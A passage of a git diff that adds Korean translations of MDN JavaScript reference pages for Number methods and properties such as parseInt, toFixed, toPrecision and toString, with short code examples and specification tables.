+<div>{{Compat("javascript.builtins.Number.parseFloat")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>메서드가 속한 {{jsxref("Number")}} 객체.</li>
+ <li>전역 {{jsxref("parseFloat", "parseFloat()")}} 메서드.</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/number/parseint/index.html b/files/ko/web/javascript/reference/global_objects/number/parseint/index.html
new file mode 100644
index 0000000000..0b0a052016
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/number/parseint/index.html
@@ -0,0 +1,78 @@
+---
+title: Number.parseInt()
+slug: Web/JavaScript/Reference/Global_Objects/Number/parseInt
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - Number
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/parseInt
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Number.parseInt()</code></strong> 메서드는 문자열을 분석하고 특정 진수를 사용한 정수로 변환해 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-parseint.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Number.parseInt(<var>string,</var>[ <var>radix</var>])
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<div>{{page("ko/docs/Web/JavaScript/Reference/Global_Objects/parseInt", "매개변수")}}</div>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{page("ko/docs/Web/JavaScript/Reference/Global_Objects/parseInt", "반환 값")}}</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Number.parseInt()</code> 메서드는 전역 {{jsxref("parseInt", "parseInt()")}} 함수와 같은 기능을 가지고 있습니다.</p>
+
+<pre class="brush: js">Number.parseInt === parseInt; // true</pre>
+
+<p><code>Number.parseInt()</code>는 ECMAScript 2015에서 전역 범위의 모듈화를 위해 추가됐습니다. 상세한 정보와 예제는 {{jsxref("parseInt", "parseInt()")}}를 참고하세요.</p>
+
+<h2 id="폴리필">폴리필</h2>
+
+<pre class="brush: js">if (Number.parseInt === undefined) {
+    Number.parseInt = window.parseInt;
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.parseint', 'Number.parseInt')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.parseint', 'Number.parseInt')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.Number.parseInt")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>메서드가 속한 {{jsxref("Number")}} 객체.</li>
+ <li>전역 {{jsxref("parseInt", "parseInt()")}} 메서드.</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/number/positive_infinity/index.html b/files/ko/web/javascript/reference/global_objects/number/positive_infinity/index.html
new file mode 100644
index 0000000000..b1012fcdbf
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/number/positive_infinity/index.html
@@ -0,0 +1,82 @@
+---
+title: Number.POSITIVE_INFINITY
+slug: Web/JavaScript/Reference/Global_Objects/Number/POSITIVE_INFINITY
+tags:
+  - JavaScript
+  - Number
+  - Property
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/POSITIVE_INFINITY
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Number.POSITIVE_INFINITY</code></strong> 속성은 양의 무한대를 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-positive-infinity.html")}}</div>
+
+
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Number.POSITIVE_INFINITY</code>의 값은 전역 객체 {{jsxref("Infinity")}} 속성의 값과 동일합니다.</p>
+
+<p><code>POSITIVE_INFINITY</code>는 수학에서의 무한대와 약간 다릅니다.</p>
+
+<ul>
+ <li><code>POSITIVIE_INFINITY</code>를 포함한 아무 양의 수와 <code>POSITIVE_INFINITY</code>를 곱한 결과는 <code>POSITIVE_INFINITY</code>입니다.</li>
+ <li>{{jsxref("Number.NEGATIVE_INFINITY", "NEGATIVE_INFINITY")}}를 포함한 아무 음의 수와 <code>POSITIVE_INFINITY</code>를 곱한 결과는 {{jsxref("Number.NEGATIVE_INFINITY", "NEGATIVE_INFINITY")}}입니다.</li>
+ <li>아무 양의 수를 <code>POSITIVE_INFINITY</code>로 나눈 결과는 0입니다.</li>
+ <li>아무 음의 수를 <code>POSITIVE_INFINITY</code>로 나눈 결과는 음의 부호를 가진 0입니다.</li>
+ <li>0을 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">POSITIVE_INFINITY</span></font>로 나눈 결과는 {{jsxref("NaN")}}입니다.</li>
+ <li>{{jsxref("NaN")}}에 <code>POSITIVE_INFINITY</code>를 곱한 결과는 {{jsxref("NaN")}}입니다.</li>
+ <li><code>POSITIVE_INFINITY</code>를, {{jsxref("Number.NEGATIVE_INFINITY", "NEGATIVE_INFINITY")}}를 제외한 아무 음의 수로 나눈 결과는 {{jsxref("Number.NEGATIVE_INFINITY", "NEGATIVE_INFINITY")}}입니다.</li>
+ <li><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">POSITIVE_INFINITY<code>를</code></span></font>, <code>POSITIVE_INFINITY</code>를 제외한 아무 양의 수로 나눈 결과는 <code>NEGATIVE_INFINITY</code>입니다.</li>
+ <li><code>POSITIVE_INFINITY</code>를 {{jsxref("Number.NEGATIVE_INFINITY", "NEGATIVE_INFINITY")}} 또는 <code>POSITIVE_INFINITY</code>로 나눈 결과는 {{jsxref("NaN")}}입니다.</li>
+</ul>
+
+<p><code>Number.POSITIVE_INFINITY</code>를 사용해 성공 시 유한수를 반환하는 식의 결과를 판별할 수 있습니다. 그러나 이런 경우 {{jsxref("isFinite", "isFinite()")}}를 사용하는 편이 더 적합합니다.</p>
+
+<p><code>POSITIVE_INFINITY</code>는 {{jsxref("Number")}}의 정적 속성이기 때문에, 직접 생성한 {{jsxref("Number")}} 객체의 속성이 아니라 <code>Number.POSITIVE_INFINITY</code>의 형식으로 사용해야 합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="POSITIVE_INFINITY_사용하기"><code>POSITIVE_INFINITY</code> 사용하기</h3>
+
+<p>다음 코드에서 <code>smallNumber</code>는 JavaScript의 최댓값보다 큰 값을 할당받습니다. {{jsxref("Statements/if...else", "if")}} 문이 실행되면, <code>bigNumber</code>의 값이 <code>Infinity</code>이므로 <code>bigNumber</code>는 계산에 좀 더 적합한 유한값을 다시 할당합니다.</p>
+
+<pre class="brush: js notranslate">var bigNumber = (Number.MAX_VALUE) * 2;
+
+if (bigNumber === Number.POSITIVE_INFINITY) {
+  bigNumber = returnFinite();
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.positive_infinity', 'Number.POSITIVE_INFINITY')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Number.POSITIVE_INFINITY")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Number.NEGATIVE_INFINITY")}}</li>
+ <li>{{jsxref("Number.isFinite()")}}</li>
+ <li>{{jsxref("Infinity")}}</li>
+ <li>{{jsxref("isFinite", "isFinite()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/number/prototype/index.html b/files/ko/web/javascript/reference/global_objects/number/prototype/index.html
new file mode 100644
index 0000000000..e9b3f20362
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/number/prototype/index.html
@@ -0,0 +1,90 @@
+---
+title: Number.prototype
+slug: Web/JavaScript/Reference/Global_Objects/Number/prototype
+tags:
+  - JavaScript
+  - Number
+  - Property
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Number.prototype</code></strong> 속성은 {{jsxref("Number")}} 생성자의 프로토타입을 나타냅니다.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p>모든 {{jsxref("Number")}} 인스턴스는 <code>Number.prototype</code>을 상속합니다. {{jsxref("Number")}} 생성자의 프로토타입 객체는 모든 {{jsxref( "Number")}} 인스턴스에 영향을 미치도록 수정할 수 있습니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code>Number.prototype.constructor</code></dt>
+ <dd>이 객체의 인스턴스를 생성한 함수를 반환합니다. 기본적으로 {{jsxref("Number")}} 객체 입니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{jsxref("Number.prototype.toExponential()")}}</dt>
+ <dd>숫자의 지수표기법 표현을 문자열로 반환합니다.</dd>
+ <dt>{{jsxref("Number.prototype.toFixed()")}}</dt>
+ <dd>숫자의 고정소수점 표현을 문자열로 반환합니다.</dd>
+ <dt>{{jsxref("Number.prototype.toLocaleString()")}}</dt>
+ <dd>숫자의 표현을 특정 언어에 맞춘 형식의 문자열로 반환합니다. {{jsxref("Object.prototype.toLocaleString()")}} 메서드를 오버라이드 합니다.</dd>
+ <dt>{{jsxref("Number.prototype.toPrecision()")}}</dt>
+ <dd>지정한 정밀도로 숫자를 나타내는 문자열을 반환합니다. 고정소수점 혹은 지수표기법으로 표현합니다.</dd>
+ <dt>{{jsxref("Number.prototype.toSource()")}} {{non-standard_inline}}</dt>
+ <dd>지정한 {{jsxref("Number")}} 객체를 나타내는 객체 리터럴을 반환합니다. 이 값을 사용하여 새 객체를 만들 수 있습니다. {{jsxref("Object.prototype.toSource()")}} 메서드를 오버라이드 합니다.</dd>
+ <dt>{{jsxref("Number.prototype.toString()")}}</dt>
+ <dd>지정된 기수(기본 10진수)로 지정된 객체를 문자열로 반환합니다. {{jsxref("Object.prototype.toString()")}} 메서드를 오버라이드 합니다.</dd>
+ <dt>{{jsxref("Number.prototype.valueOf()")}}</dt>
+ <dd>지정한 객체의 기본 자료형(primitive) 값을 반환합니다. {{jsxref("Object.prototype.valueOf()")}} 메서드를 오버라이드 합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7.4', 'Number')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-properties-of-the-number-prototype-object', 'Number')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-properties-of-the-number-prototype-object', 'Number')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Number.prototype")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Number")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/number/toexponential/index.html b/files/ko/web/javascript/reference/global_objects/number/toexponential/index.html
new file mode 100644
index 0000000000..cb24e88364
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/number/toexponential/index.html
@@ -0,0 +1,108 @@
+---
+title: Number.prototype.toExponential()
+slug: Web/JavaScript/Reference/Global_Objects/Number/toExponential
+tags:
+  - JavaScript
+  - Method
+  - Number
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/toExponential
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>toExponential()</code></strong> 메서드는 숫자를 지수 표기법으로 표기해 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-toexponential.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>numObj</var>.toExponential([<var>fractionDigits</var>])</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>fractionDigits</code> {{optional_inline}}</dt>
+ <dd>소수점 이하로 표현할 자릿수입니다. 기본값은 주어진 값을 나타내는데 필요한 자릿수입니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 {{jsxref("Number")}} 값을 숫자 한자리와 소수점, 소수점 이하 <code>fractionDigits</code> 자릿수만큼 반올림하여 지수 표기법으로 나타낸 문자열을 반환합니다.</p>
+
+<h3 id="예외">예외</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd><code>fractionDigits</code>가 너무 작거나 너무 크면 {{jsxref("RangeError")}} 에러가 발생합니다. <code>fractionDigits</code>가 0에서 20 사이의 값이면 {{jsxref("RangeError")}} 에러는 발생하지 않습니다. 구현에 따라 더 크거나 작은 값도 사용 할 수 있습니다.</dd>
+ <dt>{{jsxref("TypeError")}}</dt>
+ <dd>{{jsxref("Number")}}가 아닌 객체가 이 메서드를 실행시키면 {{jsxref("RangeError")}} 에러가 발생합니다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>fractionDigits</code> 매개변수를 생략하면, 기본적으로 주어진 값을 특정하기 위해 필요한 자릿수만큼이 소수점 이하 자릿수가 됩니다.</p>
+
+<p>지수나 소수점이 없는 숫자 리터럴에 <code>toExponential()</code> 메서드를 사용하려면, 점 앞에 공백을 두어 점이 소수점으로 해석되는 것을 막도록 합니다.</p>
+
+<p>주어진 값의 자릿수가 <code>fractionDigits</code> 매개변수보다 크다면, 주어진 값은 <code>fractionDigits</code>에 가까운 자릿수로 반올림되어 표현됩니다. {{jsxref("Number.prototype.toFixed", "toFixed()")}} 메서드의 반올림에 관한 설명이 <code>toExponential()</code> 메서드에도 마찬가지로 적용됩니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="toExponential_사용하기"><code>toExponential</code> 사용하기</h3>
+
+<pre class="brush: js">var numObj = 77.1234;
+
+console.log(numObj.toExponential());  // logs 7.71234e+1
+console.log(numObj.toExponential(4)); // logs 7.7123e+1
+console.log(numObj.toExponential(2)); // logs 7.71e+1
+console.log(77.1234.toExponential()); // logs 7.71234e+1
+console.log(77 .toExponential());     // logs 7.7e+1
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>초기 정의. JavaScript 1.5에서 구현됨.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7.4.6', 'Number.prototype.toExponential')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.prototype.toexponential', 'Number.prototype.toExponential')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.prototype.toexponential', 'Number.prototype.toExponential')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Number.toExponential")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toFixed()")}}</li>
+ <li>{{jsxref("Number.prototype.toPrecision()")}}</li>
+ <li>{{jsxref("Number.prototype.toString()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/number/tofixed/index.html b/files/ko/web/javascript/reference/global_objects/number/tofixed/index.html
new file mode 100644
index 0000000000..cf383f2265
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/number/tofixed/index.html
@@ -0,0 +1,109 @@
+---
+title: Number.prototype.toFixed()
+slug: Web/JavaScript/Reference/Global_Objects/Number/toFixed
+tags:
+  - JavaScript
+  - Method
+  - Number
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/toFixed
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>toFixed()</strong></code> 메서드는 숫자를 고정 소수점 표기법으로 표기해 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-tofixed.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>numObj</var>.toFixed([<var>digits</var>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>digits</code> {{optional_inline}}</dt>
+ <dd>소수점 뒤에 나타날 자릿수. 0 이상 20 이하의 값을 사용할 수 있으며, 구현체에 따라 더 넓은 범위의 값을 지원할 수도 있습니다. 값을 지정하지 않으면 0을 사용합니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>고정 소수점 표기법을 사용하여 나타낸 수.</p>
+
+<h3 id="예외">예외</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd><code>digits</code>가 너무 작거나 너무 클 때. 값이 0과 100사이의 값이라면 {{jsxref("RangeError")}}를 유발하지 않습니다. 구현체에 따라 더 크거나 작은 값을 지원할 수 있습니다.</dd>
+ <dt>{{jsxref("TypeError")}}</dt>
+ <dd>{{jsxref("Number")}}가 아닌 객체에서 호출한 경우.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>toFixed()</code>는 {{jsxref("Number")}} 객체를 주어진 <code>digits</code> 만큼의 소수점 이하 자리수를 정확하게 갖는 문자열 표현으로 반환합니다. 소수점 이하가 길면 숫자를 반올림하고, 짧아서 부족할 경우 뒤를 0으로 채울 수 있습니다. 메서드를 호출한 숫자의 크기가 1e+21보다 크다면 {{jsxref("Number.prototype.toString()")}}을 호출하여 받은 지수 표기법 결과를 대신 반환합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="toFixed()_사용하기"><code>toFixed()</code> 사용하기</h3>
+
+<pre class="brush: js">var numObj = 12345.6789;
+
+numObj.toFixed();       // Returns '12346': 반올림하며, 소수 부분을 남기지 않습니다.
+numObj.toFixed(1);      // Returns '12345.7': 반올림합니다.
+numObj.toFixed(6);      // Returns '12345.678900': 빈 공간을 0으로 채웁니다.
+(1.23e+20).toFixed(2);  // Returns '123000000000000000000.00'
+(1.23e-10).toFixed(2);  // Returns '0.00'
+2.34.toFixed(1);        // Returns '2.3'
+2.35.toFixed(1);        // Returns '2.4'. 이 경우에는 올림을 합니다.
+-2.34.toFixed(1);       // Returns -2.3 (연산자의 적용이 우선이기 때문에, 음수의 경우 문자열로 반환하지 않습니다...)
+(-2.34).toFixed(1);     // Returns '-2.3' (...괄호를 사용할 경우 문자열을 반환합니다.)
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7.4.5', 'Number.prototype.toFixed')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.prototype.tofixed', 'Number.prototype.toFixed')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.prototype.tofixed', 'Number.prototype.toFixed')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Number.toFixed")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toExponential()")}}</li>
+ <li>{{jsxref("Number.prototype.toPrecision()")}}</li>
+ <li>{{jsxref("Number.prototype.toString()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/number/toprecision/index.html b/files/ko/web/javascript/reference/global_objects/number/toprecision/index.html
new file mode 100644
index 0000000000..83cf3017e3
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/number/toprecision/index.html
@@ -0,0 +1,110 @@
+---
+title: Number.prototype.toPrecision()
+slug: Web/JavaScript/Reference/Global_Objects/Number/toPrecision
+tags:
+  - JavaScript
+  - Method
+  - Number
+  - Prototype
+  - toPrecision
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/toPrecision
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>toPrecision()</code></strong> 메서드는 {{jsxref("Number")}} 객체를 지정된 정밀도로 나타내는 문자열을 반환한다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-toprecision.html")}}</div>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><var>numObj</var>.toPrecision([<var>precision</var>])</pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<dl>
+ <dt><code>precision</code></dt>
+ <dd>선택적 파라미터. 유효 자릿수를 지정하는 정수.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>고정 소수점 또는 지수 표기법의 {{jsxref("Number")}} 객체를 정밀 유효 숫자로 반올림 한 문자열입니다. <code>toPrecision()</code>에도 적용되는 {{jsxref("Number.prototype.toFixed()")}} 메서드에 대한 설명에서 반올림에 대한 설명을 참조하세요.</p>
+
+<p><code>precision(정밀도)</code> 인수가 생략되면 {{jsxref("Number.prototype.toString()")}}처럼 작동합니다. <code>precision(정밀도)</code> 인수가 정수가 아닌 값이면 가장 가까운 정수로 반올림됩니다.</p>
+
+<p> </p>
+
+<h3 id="예외">예외</h3>
+
+<dl>
+ <dt>{{jsxref("Global_Objects/RangeError", "RangeError")}}</dt>
+ <dd><code>precision(정밀도)</code>가 1에서 100 사이가 아닌 경우 {{jsxref("RangeError")}}가 발생합니다. 구현은 더 큰 값과 더 작은 값을 지원할 수 있습니다. ECMA-262는 최대 21 자리의 정밀도 만을 요구합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="toPrecision_사용"><code>toPrecision</code> 사용</h3>
+
+<pre class="brush: js">var numObj = 5.123456;
+
+console.log(numObj.toPrecision());    // logs '5.123456'
+console.log(numObj.toPrecision(5));   // logs '5.1235'
+console.log(numObj.toPrecision(2));   // logs '5.1'
+console.log(numObj.toPrecision(1));   // logs '5'
+
+numObj = 0.000123
+
+console.log(numObj.toPrecision());    // logs '0.000123'
+console.log(numObj.toPrecision(5));   // logs '0.00012300'
+console.log(numObj.toPrecision(2));   // logs '0.00012'
+console.log(numObj.toPrecision(1));   // logs '0.0001'
+
+// 일부 상황에서는 지수 표기법이 반환 될 수 있습니다
+console.log((1234.5).toPrecision(2)); // logs '1.2e+3'
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7.4.7', 'Number.prototype.toPrecision')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.prototype.toprecision', 'Number.prototype.toPrecision')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.prototype.toprecision', 'Number.prototype.toPrecision')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Number.toPrecision")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toFixed()")}}</li>
+ <li>{{jsxref("Number.prototype.toExponential()")}}</li>
+ <li>{{jsxref("Number.prototype.toString()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/number/tostring/index.html b/files/ko/web/javascript/reference/global_objects/number/tostring/index.html
new file mode 100644
index 0000000000..2c1366ad5b
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/number/tostring/index.html
@@ -0,0 +1,112 @@
+---
+title: Number.prototype.toString()
+slug: Web/JavaScript/Reference/Global_Objects/Number/toString
+tags:
+  - JavaScript
+  - Method
+  - Number
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/toString
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>toString()</code> </strong>메서드는 특정한 {{jsxref("Number")}} 객체를 나타내는 문자열을 반환합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/number-tostring.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>numObj</var>.toString([<var>radix</var>])</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>radix</code> {{optional_inline}}</dt>
+ <dd>수의 값을 나타내기 위해 사용되기 위한 기준을 정하는 2와 36사이의 정수. (진수를 나타내는 기수의 값.)</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{jsxref("Number")}} 객체를 명시하는 문자열.</p>
+
+<h3 id="예외">예외</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd>만약 <code>toString()</code>에<code> 2</code>와<code> 36</code>의 사잇 값이 아닌 <code>radix</code>가 주어지면, {{jsxref("RangeError")}} 에러가 발생합니다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>{{jsxref("Number")}} 객체는 {{jsxref("Object")}} 객체의 <code>toString() </code>메소드를 오버라이딩하며,  {{jsxref("Object.prototype.toString()")}} 를 상속받지 않습니다. {{jsxref( "Number")}} 객체에서 <code>toString()</code> 메소드는 특정 진수로 객체를 표현한 문자열을 환원합니다.</p>
+
+<p><code>toString() </code>메소드는 메소드의 첫 번째 아규먼트를 파싱하여, 메소드는 특정 기수(radix)를 기준으로 한 진수 값의 문자열을 환원하기 위한 시도를 합니다. 진수를 나타내는 기수 값(radix) 이 10 이상의 값일 때는, 알파벳의 글자는 9보다 큰 수를 나타냅니다. 예를 들면, 16진수(base 16)는, 알파벳 f 까지 사용하여 표현됩니다.</p>
+
+<p>만약에 <code>radix</code>값 이 지정되지 않으면, 임의로 10진수로 가정하게 됩니다.</p>
+
+<p>또, <code>numObj</code>가 음수라면, - 부호는 유지됩니다. 이는 기수(radix) 값이 2일 경우에라도 적용됩니다. 리턴된 문자열은 - 부호가 앞에 있는 <code>numObj</code> 의 양의 2진수 표시이지, <code>numObj</code>의 두 개의 조합이 아니기 때문입니다.</p>
+
+<p><code>numObj</code> 가 정수가 아니면, 점(.) 부호는 소수 자리와 분리하기 위해 사용됩니다. </p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="toString_사용"><code>toString</code> 사용</h3>
+
+<pre class="brush: js">var count = 10;
+
+console.log(count.toString());    // displays '10'
+console.log((17).toString());     // displays '17'
+console.log((17.2).toString());   // displays '17.2'
+
+var x = 6;
+
+console.log(x.toString(2));       // displays '110'
+console.log((254).toString(16));  // displays 'fe'
+
+console.log((-10).toString(2));   // displays '-1010'
+console.log((-0xff).toString(2)); // displays '-11111111'
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>초기 정의. JavaScript 1.1에서 구현됨.</td>
+  </tr>
+  <tr>
